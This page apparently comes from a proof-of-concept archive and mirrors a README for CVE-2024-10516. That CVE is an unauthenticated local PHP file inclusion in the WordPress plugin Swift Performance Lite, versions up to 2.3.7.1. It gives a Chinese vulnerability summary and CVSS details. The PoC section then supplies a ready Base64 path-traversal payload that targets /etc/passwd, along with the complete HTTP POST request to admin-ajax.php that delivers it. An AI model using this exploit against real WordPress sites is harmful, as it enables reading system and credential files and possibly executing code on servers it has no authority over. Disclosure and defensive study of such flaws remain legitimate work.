Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-10516 PoC — WordPress plugin Swift Performance Lite 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin Swift Performance Lite 安全漏洞 (CVE-2024-10516)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Swift Performance Lite 2.3.7.1版本及之前版本存在安全漏洞,该漏洞源于包含一个本地PHP文件包含漏洞。
Description
Swift Performance Lite <= 2.3.7.1 - Unauthenticated Local PHP File Inclusion via 'ajaxify'
Readme
# CVE-2024-10516
Swift Performance Lite <= 2.3.7.1 - Unauthenticated Local PHP File Inclusion via 'ajaxify'

# Description

The Swift Performance Lite plugin for WordPress is vulnerable to Local PHP File Inclusion in all versions up to, and including, 2.3.7.1 via the 'ajaxify' function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

## Details

- **Type**: plugin
- **Slug**: swift-performance-lite
- **Affected Version**: 2.3.7.1
- **CVSS Score**: 8.1
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-10516
- **Status**: Active

POC
---

Base64 Payload = `["template-part","null","../../../../../etc/passwd"]`

```
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==
```
File Snapshot

[4.0K] /data/pocs/73640d553fffe9cb84eb9808cc542570076eb09d └── [1.2K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.